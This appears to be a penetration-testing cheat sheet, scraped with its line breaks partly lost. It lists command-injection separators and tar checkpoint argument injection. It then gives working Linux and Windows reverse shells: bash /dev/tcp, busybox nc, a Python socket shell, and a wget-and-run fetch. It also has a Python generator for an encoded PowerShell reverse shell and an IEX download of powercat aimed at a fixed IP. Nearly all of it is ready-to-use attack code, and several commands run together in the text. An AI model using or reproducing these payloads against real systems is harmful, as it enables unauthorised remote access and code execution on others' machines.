Common ways of injecting commands
;id, | id, && idasdf %0A idArgument injection
tar
tar has --checkpoint=1 --checkpoint-action=exec={command} on GTFOBins--checkpoint=1 --checkpoint-action=exec=perl$IFS-e$IFS'system(join($x,map(chr,({decimal_characters_to_run}))))';Check what server we’re running on
dir 2>&1 \*\`|echo CMD);&<# rem #>echo PowerShell will check injected shell typenc -lnvp {port}
nc -l {port}, though the firewall might have to be disabledResources
Linux Reverse shells
bash -i >& /dev/tcp/{IP}/{port} 0>&1busybox nc {IP} {port} -e sh or busybox nc {IP} {port} -e /bin/shpython -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'wget {IP}:{port}/script.sh -> chmod 777 ./script.sh -> ./script.shUpgrading Linux Shell to a Better Shell
script /dev/null -c bash
stty raw -echo; fg (to continue the process)reset then set the terminal type to screenpython -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
Windows Reverse Shells
/usr/share/windows-resources/binaries/nc.exe)
C:\Windows\Temp\nc.exe -e powershell.exe {IP} {port} for a Powershell reverse shellimport base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
IEX(New-Object System.Net.WebClient).DownloadString('http://{IP}:{port}/powercat.ps1');powercat -c 192.168.45.220 -p 4444 -e powershell